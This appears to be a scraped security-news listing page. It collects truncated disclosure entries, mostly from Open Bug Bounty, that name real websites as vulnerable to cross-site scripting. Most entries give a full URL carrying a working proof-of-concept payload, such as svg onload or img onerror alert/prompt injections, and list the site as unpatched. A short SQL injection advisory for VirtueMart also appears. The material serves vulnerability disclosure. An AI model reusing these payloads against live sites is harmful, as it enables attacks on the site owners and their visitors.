CVE-2017-0199: in-depth analysis of the Microsoft Office RTF vulnerability-vulnerability warning-the black bar safety net

Recently, researchers also found a number of CVE-2017-0199 vulnerability of the sample. Although the Microsoft in this year 4 month has been released for the vulnerability the patch, but since its use is relatively simple, worldwide usage is still very high, here to share some of the phishing...

0594333.com XSS vulnerability

Vulnerable URL: http://www.0594333.com/"...

my903.com XSS vulnerability

Vulnerable URL: http://www.my903.com/my903/903music/search.jsp?keywords=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 79037 VIP website...

goodav17.com XSS vulnerability

Vulnerable URL: http://goodav17.com/search/%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E%20/6/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 40377 VIP website status:|...

philatelie72.com XSS vulnerability

Vulnerable URL: http://www.philatelie72.com/Materiel/Philatelie/detailmat.asp?cat=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus%20/;%20Onfocus=alertOPENBUGBOUNTY%20//%3E%3CSvg%3E=556=YVERT%20et%20TELLIER Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017...

boss330.com XSS vulnerability

Vulnerable URL: http://boss330.com/partnumber.php?partnumber=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...

boss339.com XSS vulnerability

Vulnerable URL: http://boss339.com/partnumber.php?partnumber=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...

torqthrust2.com XSS vulnerability

Vulnerable URL: http://torqthrust2.com/partnumber.php?partnumber=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

fszy88.com XSS vulnerability

Vulnerable URL: http://fszy88.com/product.php?cid=/%27%20%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

PT-2017-7893

Name of the Vulnerable Software and Affected Versions VirtueMart com virtuemart component version 3.0.14 for Joomla! Description The issue allows SQL injection by remote authenticated administrators. This can be achieved via the virtuemart paymentmethod id or virtuemart shipmentmethod id paramete...

chess24.com XSS vulnerability

Vulnerable URL: https://chess24.com/en/?"' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9944 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|---...

suivi.lnk01.com XSS vulnerability

Vulnerable URL: http://suivi.lnk01.com/oi/443/30a3f39b6b4ea674c3ed6a7ab568a46e Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

picknbuy24.com XSS vulnerability

Vulnerable URL: http://www.picknbuy24.com/user/index.php/stock/?a=searchkeywd="onfocus=alertautofocus"--!"condmkrcd=condfob1=condfob2=condmodel=condyear1=condyear2==62=16 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...

service.braun.com XSS vulnerability

Open Bug Bounty ID: OBB-241478 Description| Value ---|--- Affected Website:| service.braun.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

bschool.careers360.com XSS vulnerability

Vulnerable URL: http://www.bschool.careers360.com/exams/cat%22%27%2D%2D%21 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinat...

e9898.com XSS vulnerability

Vulnerable URL: http://www.e9898.com/e9898sh.asp?key=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=%CB%D1%CB%F7%D2%BB%CF%C2 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

yesnic.com XSS vulnerability

Vulnerable URL: http://yesnic.com/whois/index1.php?domain=gage365.com"'--!== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1622071 VIP website status:| No Check yesnic.com SSL...

15104506505.com XSS vulnerability

Vulnerable URL: http://www.15104506505.com/display.php?id=%22%3E%3Cscript%3E%20alert%27XSSPOSED%27%20%3C/script%3E= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

m.salud180.com XSS vulnerability

Vulnerable URL: http://m.salud180.com/busqueda/google?asq=...

911.com XSS vulnerability

Vulnerable URL: http://911.com//%22'--!%3E%3CHtml%20Onmouseenter=confirm%60/OPENBUGBOUNTY/%60%20%3C!--//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2785281 VIP website...